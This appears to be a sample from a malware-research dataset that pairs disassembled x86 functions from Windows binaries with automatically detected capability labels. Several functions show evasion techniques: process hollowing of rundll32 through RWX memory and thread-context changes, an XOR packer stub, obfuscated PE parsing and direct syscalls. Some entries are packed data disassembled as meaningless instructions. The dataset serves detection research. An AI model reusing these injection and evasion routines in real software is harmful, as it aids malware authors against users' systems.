joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e56c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408155
and dword [ebp - 4], 0
cmp dword [0x46689c], 0
mov ebx, eax
jne 0x40e61d
push 0x402bd4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e6ce
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bc8
push edi
call esi
test eax, eax
je 0x40e6ce
push eax
call fcn.004080e3
mov dword [esp], 0x402bb8
push edi
mov dword [0x46689c], eax
call esi
push eax
call fcn.004080e3
mov dword [esp], 0x402ba4
push edi
mov dword [0x4668a0], eax
call esi
push eax
call fcn.004080e3
mov dword [esp], 0x402b88
push edi
mov dword [0x4668a4], eax
call esi
push eax
call fcn.004080e3
pop ecx
mov dword [0x4668ac], eax
test eax, eax
je 0x40e61d
push 0x402b70
push edi
call esi
push eax
call fcn.004080e3
pop ecx
mov dword [0x4668a8], eax
mov eax, dword [0x4668a8]
cmp eax, ebx
je 0x40e675
cmp dword [0x4668ac], ebx
je 0x40e675
push eax
call fcn.0040815e
push dword [0x4668ac]
mov esi, eax
call fcn.0040815e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e675
test edi, edi
je 0x40e675
call esi
test eax, eax
je 0x40e66c
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e66c
test byte [ebp - 0xc], 1
jne 0x40e675
or dword [ebp + 0x10], 0x200000
jmp 0x40e6ae
mov eax, dword [0x4668a0]
cmp eax, ebx
je 0x40e6ae
push eax
call fcn.0040815e
pop ecx
test eax, eax
je 0x40e6ae
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e6ae
mov eax, dword [0x4668a4]
cmp eax, ebx
je 0x40e6ae
push eax
call fcn.0040815e
pop ecx
test eax, eax
je 0x40e6ae
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x46689c]
call fcn.0040815e
pop ecx
test eax, eax
je 0x40e6ce
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e6d0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get file size
Terminate process

Disassembly:
sub esp, 0x600
lea eax, [esp + 0x200]
push ebx
push esi
push edi
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x40a195]
mov edi, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
je 0x401074
push eax
lea ecx, [esp + 0x10]
push 0x40c0fc
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401074
lea eax, [esp + 0xc]
push str.The_application_has_already_run.
push eax
call ebx
jmp 0x401119
mov eax, dword [0x40a184]
test eax, eax
je 0x4010c2
push 0
push 0
push 3
push 0
push 3
lea ecx, [esp + 0x220]
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp dword [0x40a184], eax
jbe 0x4010bb
lea edx, [esp + 0xc]
push str.The_file_is_corrupted._It_was_downloaded_with_errors_or_otherwise_damaged._nPlease_download_it_again_and_make_sure_that_you_do_not_have_viruses.
push edx
call ebx
jmp 0x401119
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [0x40a188]
mov esi, eax
mov eax, dword [0x40a168]
and ecx, 0xff
add esi, eax
xor eax, eax
mov ax, word [0x40a18b]
or eax, ecx
or al, 2
push eax
call fcn.00401380
cmp dword [esi], 0x4547
je 0x401107
lea edx, [esp + 0xc]
push str.The_executable_file_does_not_have_a_bytecode_
push edx
call ebx
jmp 0x401119
push 5
push esi
call fcn.00401510
mov esi, eax
call fcn.004012f0
push esi
call edi
lea eax, [esp + 0x20c]
lea ecx, [esp + 0x40c]
push eax
push str.ERROR:
push ecx
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x40c]
push 0x10
lea eax, [esp + 0x10]
push edx
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call edi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x600
ret 0x10
Function at 0x401510
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x28
push ebx
push ebp
push edi
lea eax, [esp + 0x14]
xor edi, edi
push eax
mov dword [esp + 0x10], edi
call fcn.004020a0
mov ebx, dword [esp + 0x3c]
mov ebp, ebx
and ebp, 1
je 0x4015c2
mov ecx, dword [0x40d474]
push esi
push 0x400
mov dword [esp + 0x18], ecx
call fcn.00401720
mov dword [0x40d474], eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov cl, byte [eax]
test cl, cl
je 0x4015be
mov bl, 0x22
cmp cl, 0x20
jne 0x40156d
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x20
je 0x401564
mov cl, byte [eax]
test cl, cl
je 0x4015ba
cmp cl, bl
jne 0x40157c
inc eax
mov dl, bl
jmp 0x40157e
mov dl, 0x20
mov cl, byte [eax]
cmp cl, dl
je 0x4015a4
test edi, edi
je 0x401598
cmp cl, 0x5c
jne 0x401593
cmp byte [eax + 1], bl
jne 0x401593
inc eax
mov cl, byte [eax]
mov byte [esi], cl
inc esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
je 0x4015a4
cmp cl, dl
jne 0x401584
cmp byte [eax], dl
jne 0x4015a9
inc eax
mov edx, edi
inc edi
test edx, edx
je 0x4015b4
mov byte [esi], 0
inc esi
mov cl, byte [eax]
test cl, cl
jne 0x40155f
mov ebx, dword [esp + 0x40]
mov byte [esi], 0
pop esi
test bl, 2
je 0x4015fd
lea eax, [esp + 0x24]
push eax
call fcn.00402c40
lea edx, [esp + 0x24]
mov ecx, dword [esp + 0x38]
push ecx
push edx
call fcn.00402af0
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x28]
push eax
push ecx
call fcn.00405c10
lea edx, [esp + 0x24]
push edx
call fcn.00402080
jmp 0x401610
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
mov ecx, dword [eax + 0x10]
push ecx
push eax
push edx
call fcn.00402000
lea eax, [esp + 0x14]
push eax
call fcn.00405a60
test bl, 4
je 0x40162a
push 1
call fcn.004037f0
mov dword [esp + 0xc], eax
pop edi
test ebp, ebp
pop ebp
pop ebx
je 0x401647
mov ecx, dword [0x40d474]
push ecx
call fcn.004018e0
mov edx, dword [esp + 4]
mov dword [0x40d474], edx
lea eax, [esp + 8]
push eax
call fcn.00402080
mov eax, dword [esp]
add esp, 0x28
ret 8
Function at 0x402360
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x150
lea eax, [esp]
push esi
push edi
push eax
call fcn.00402c40
lea ecx, [esp + 8]
push 0x200
push ecx
call fcn.00402200
push 0x5c
lea eax, [esp + 0xc]
mov esi, dword [esp + 0x160]
mov edx, dword [esi]
push edx
push str._s_c.
push eax
call fcn.00402d60
mov edx, dword [esp + 0x18]
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402430
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp byte [esp + 0x48], 0x2e
jne 0x4023d8
mov al, byte [esp + 0x49]
test al, al
je 0x40241c
cmp al, 0x2e
jne 0x4023d8
mov al, byte [esp + 0x4a]
test al, al
je 0x40241c
lea eax, [esp + 0xc]
push eax
call fcn.00402ad0
mov edx, dword [esi]
lea ecx, [esp + 0x48]
push ecx
push 0x5c
push edx
lea eax, [esp + 0x18]
push str._s_c_s
push eax
call fcn.00402d60
mov al, byte [esp + 0x30]
add esp, 0x14
test al, 0x10
je 0x402412
lea ecx, [esp + 0xc]
push ecx
call fcn.00402360
jmp 0x40241c
lea edx, [esp + 0xc]
push edx
call fcn.004024a0
lea eax, [esp + 0x1c]
push eax
push edi
call ebp
test eax, eax
jne 0x4023bd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebp
lea ecx, [esp + 8]
push ecx
call fcn.00402080
push esi
call fcn.00402340
pop edi
pop esi
add esp, 0x150
ret 4

Function at 0x402540
Capabilities:
Get file size

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
lea eax, [esp + 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esp], eax
jne 0x402576
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x402572
or eax, 0xffffffff
or edx, 0xffffffff
add esp, 8
ret 4
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 8
ret 4

Function at 0x4025b0
Capabilities:
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
ret 4

Function at 0x403d00
Capabilities:
Hash data with crc32

Disassembly:
push esi
mov dword [0x40cf40], 0
mov esi, 1
mov edx, 0x40cf44
mov eax, esi
xor ecx, ecx
or ah, 1
cmp eax, 1
je 0x403d43
test cl, 1
je 0x403d30
shr ecx, 1
xor ecx, 0xedb88320
jmp 0x403d32
shr ecx, 1
test al, 1
je 0x403d3c
xor ecx, 0xedb88320
shr eax, 1
cmp eax, 1
jne 0x403d21
mov dword [edx], ecx
add edx, 4
inc esi
cmp edx, 0x40d340
jl 0x403d15
pop esi
ret

Function at 0x403d60
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, eax
dec eax
test ecx, ecx
je 0x403d9b
mov ecx, dword [esp + 4]
push ebx
push esi
lea esi, [eax + 1]
mov eax, dword [esp + 0x14]
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x40cf40]
xor eax, edx
inc ecx
dec esi
jne 0x403d78
pop esi
pop ebx
ret 0xc
mov eax, dword [esp + 0xc]
ret 0xc
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x73391148
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x48a575c9
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x10001050
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push 0x44
lea eax, [ebp - 0x5c]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x5c], 0x44
call fcn.100011a0
test eax, eax
je 0x1000115e
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
push 0
push 0x1000044
push 1
push 0
push 0
push 0x1000420c
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100010cc
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
push 0
push 0x44
push 1
push 0
push 0
push str.rundll32.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000115e
mov dword [ebp - 0x328], 0x10003
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x1000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
push 0
push 0x1000
push section..data
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x270], ecx
lea edx, [ebp - 0x328]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x401083
jmp 0x401030
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm0, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm3, mm4
punpckhwd mm5, mm6
movq qword [edi - 0x10], mm0
paddd mm3, mm5
add esi, 8
movq qword [edi - 8], mm3
sub eax, 4
jge 0x401030
add eax, 4
jle 0x4010b6
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x401089
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x42b25d
Capabilities:
Encode data using xor

Disassembly:
dec ebx
jns 0x42b2bc
push 0x64
or ah, byte [ecx + 0xda191f9]
fxch st(6)
xchg ebp, eax
jo 0x42b2b1
mov esp, dword [edi]
mov ecx, 0xe9442efc
pop ecx
jnp 0x42b29f
add dword [ecx - 0x45], edx
outsb dx, byte [esi]
lodsb al, byte [esi]
adc byte [ebx + ebx], cl
invalid
or al, 0x14
or al, 0x40
xchg edi, eax
push ebp
fisub dword [ebx - 0x2b2bbe66]
aad 0x15
int1
lea esp, [edi + 0x2b6d6edd]
jno 0x42b32f
outsb dx, byte [esi]
insd dword es:[edi], dx
sub esi, dword [ecx + 0x79]
xor bl, byte [edi - 0x246594a7]
jl 0x42b2c7
xchg dword [ecx + 0x3b], esi
xor ah, cl
add esi, eax
jp 0x42b2c1
invalid
sahf
invalid
psubb mm0, qword [ebp - 0x24]
sbb cl, bh
sub dword [edi + 0x28], esp
popal
jle 0x42b2c4
dec ebp
jno 0x42b39b
stc
std
int 0x96
inc edx
add eax, 0x82fb0edb
mov byte [0xb6721ae0], al
and cl, byte [edi + ebp*2]
jmp 0xc3563402
inc ecx
push ds
nop
jp 0x42b3e1
push ss
add al, 0x21
jae 0x42b3da
pop eax
les edi, [ecx + 0x29]
retf 0x91bb
invalid
iretd
Function at 0x43e5d6
Capabilities:
Encode data using xor

Disassembly:
sub esp, dword [0x2f0b7296]
push edi
xchg edi, eax
fsub dword [edi + 0x7ef64ed3]
push es
outsb dx, byte [esi]
xchg byte [esi], bl
pop ecx
sbb bh, byte [edi - 0x31]
popfd
or byte [ecx + 0x11], cl
dec ebp
pop es
sub byte [eax - 0x71], bh
or al, byte [edi - 0x3a]
test byte [eax - 0x1764a15a], ah
push ds
push es
enter 0x2ee7, 0xffffffffffffff97
test eax, 0x864cfba4
movsb byte es:[edi], byte [esi]
sti
dec esp
xchg byte [edx + 0x27], al
movsb byte es:[edi], byte [esi]
sti
dec esp
xchg byte [edx + 0x27], al
pop ds
rcl byte [ebx + eax*8 - 5]
push ebp
and ah, byte es:[eax + 0x27b47a97]
cli
nop
fadd dword [eax - 0x1671ba38]
sub al, 0xf6
xor byte [eax + 0x498180ed], al
sub eax, 0x2196436a
push cs
rcr bh, 1
shr dword [edi - 0x2fc8de43], 0x19
ja 0x43e5a4
mov byte [eax], cl
push eax
test dword [edx], esi
mov word [ecx - 0x712dd405], ss
xor dword [edx], esp
jnp 0x43e624
mov byte [ecx], cl
inc ebp
loop 0x43e625
or cl, bh
cmp al, byte es:[ecx + 0x524e60bd]
rol byte [ecx - 0x69], 1
cmp dword [ebp - 0x2fadb1a0], 0x60c19741
pop edx
enter 0xfffffffffffff71d, 0x16
and al, 0x1e
mov ebp, 0xd0524e60
inc ecx
xchg edi, eax
shl dword [eax + 0x5a], 0xc8
sbb eax, 0x1e2416f7
add dword [ecx + 0x531a0dbe], eax
xchg esp, eax
or ah, byte [ecx - 0x21ff9e7b]
push ebp
and ecx, ebx
mov ch, 0xa0
aaa
sbb cl, byte [ecx]
adc byte [edi], dh
fidiv word [edx + 0x35]
push ds
adc dword [eax], edi
jmp 0xbb724a9e

Function at 0x455216
Capabilities:
Encode data using xor

Disassembly:
invalid
xor eax, 0xfa43b217
mov es, word [eax + 0x1e5550ff]
push ebx
pop ebp
pop ebp
xor dword [eax - 0x8478944], ecx
push ds
lahf
adc al, 0x39
daa
das
xchg edx, eax
dec edx
cmpsd dword [esi], dword es:[edi]
xchg ecx, eax
pop ebp
loopne 0x4551f1
out 0xdc, eax
out 0x3b, eax
jge 0x4551aa
das
pop es
das
into
or bh, byte [ecx + edi*4]
sub al, 0x71
dec edx
adc al, 0xf0
aad 0xd1
in al, dx
aaa
aaa
loopne 0x4551e4
xchg esp, esi
and byte [esi + edx*8], dh
test eax, 0x5b544eba
scasb al, byte es:[edi]
out dx, al
mov esp, fs
sar dword [esi - 0x10831c6b], cl
leave
inc edi
inc edx
mov dl, 0x3a
cmp dword [ecx], esp
lahf
dec edi
pop ecx
cld
dec edx
or cl, bl
cmp eax, 0x3bc2ba10
invalid
Function at 0x46be76
Capabilities:
Encode data using xor

Disassembly:
dec ecx
sbb dword [ecx + 0x1ccdd83e], 0x6d1d2f46
ljmp 0xf265
jns 0x46bdda
jne 0x46be90
or eax, 0x859dce07
sub cl, byte [ebx - 0x44006d56]
imul byte [ecx]
iretd
shr byte [ebp + 0x5e], cl
loop 0x46bea0
adc ah, byte [ebx - 0x5d]
aad 0xbf
push ebp
lds edx, [ebx - 0x5a]
pop ebx
adc al, 0xdc
xlatb
add bh, byte [eax + 0x25]
out 0xd4, eax
jge 0x46be44
mov bl, 0xb2
or byte [edx - 0x4d], ch
mov dl, 8
push 0xffffffffffffffb3
mov esi, 0xd3545ac
invalid
push ebx
jno 0x46beb9
mov dh, 8
dec ebx
wait
js 0x46bec7
push ss
pushfd
cli
mov dword [ecx], eax
stc
cmp ebp, dword [esi - 0x48]
mov edi, 0x60322c80
invalid
mov ebx, 0xc7290764
enter 0x2f39, 0xffffffffffffff8d
and edi, edx
and eax, 0x8b229500
aas
outsb dx, byte [esi]
xchg edi, eax
or dword [eax], edx
dec eax
xchg ebp, eax
and cl, byte [ebx + 0x9976e3f]
adc byte [eax - 0x6b], cl
push es
sub al, 0x35
sub byte [edx + edi], al
add byte [ecx + 0x17], ch
xor al, 0xe8
xor byte [edi], cl
and eax, 0x5999539
add byte [eax - 0x47120fdb], ch
cmp dh, bh
push edi
mov esi, 0xdc4a04f
pushal
push 0xffffffffffffffd4
cmp ecx, dword [eax + 0x2bc5febb]
pop dword [0x481e]
xchg ebp, eax
invalid
Function at 0x4cc0cb
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
mov dword [0x635bc0], eax
jmp 0x4a2da7
cmp word [eax], 0x4550
jmp 0x4ef7f3
push ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ebp
mov dword [esp], esi
mov dword [esp], eax
push ebx
push dword [esp]
mov eax, dword [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push dword [esp]
pop eax
push eax
mov eax, esp
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x4dfabbad
xor ecx, 0x4dfabba9
add eax, ecx
pop ecx
add eax, 4
xchg dword [esp], eax
pop esp
push dword [eax + 0x3c]
push dword [esp]
pop eax
push 0x325f0c65
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
jmp 0x557ad0
je 0x418156
jmp 0x54245b
push 0x4ede45d7
mov dword [esp], edx
push ecx
mov ecx, 0x24324493
mov dword [esp + 4], ecx
mov ecx, dword [esp]
add esp, 4
mov dword [esp], ecx
push edx
mov edx, 0x75d4d1ff
xor edx, 0x4eab9e61
add ecx, edx
mov edx, dword [esp]
add esp, 4
add ecx, 0x4f564b06
add ecx, 0x19ba4355
add ecx, eax
sub ecx, 0x19ba4355
sub ecx, 0x4f564b06
sub ecx, 0x3b7f4f9e
push dword [esp]
pop ecx
push ebp
mov dword [esp], esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
pop ebx
xchg dword [esp], esi
pop esp
add eax, 0x7cddf486
sub eax, 0x28bfce7f
add eax, esi
add eax, 0x28bfce7f
push 0x20f7bd98
mov dword [esp], ecx
push 0x5b1de632
pop ecx
and ecx, 0x4e3d628d
xor ecx, 0x4fce62bd
or ecx, 0x5364760e
sub ecx, 0x7abfccfa
xor ecx, 0xa1ea5d43
sub eax, ecx
pop ecx
jmp 0x4a2d9d

Function at 0x6294a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x632378
cmp edx, dword [eax]
je 0x6294c7
add eax, 8
inc ecx
cmp eax, 0x632408
jl 0x6294b8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x632378]
jne 0x6295f5
Function at 0x1022370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x102238e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x104b074
push ecx
mov edi, eax
call fcn.01036198
mov esi, eax
add esp, 8
test esi, esi
jne 0x10223cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0103602e
push esi
call fcn.01035fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x1025850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x10258ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x1050720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x10258ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.010361e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x10258ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x1050720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x102592a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.01037082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x1025957
mov word [eax], si
add eax, 2
push eax
call fcn.01037030
add esp, 4
jmp 0x1025959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x10258ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x10258b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x1025ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1026080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x10260c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x104b458
push ecx
call fcn.010361e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.010361e1
add esp, 0x10
jmp 0x10260d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0103620b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.01035dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.01026050
mov eax, dword [0x1050728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x102613b
push esi
call fcn.01025fb0
add esp, 4
mov dword [0x1050728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x102614c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.01025ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x1029440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x10294b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x102948e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x1029471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x102947e
add edx, ecx
cmp ebx, edx
jb 0x102948a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1029467
xor ecx, ecx
jmp 0x10294a2
test eax, eax
jne 0x1029492
xor ecx, ecx
jmp 0x10294a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.010293c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret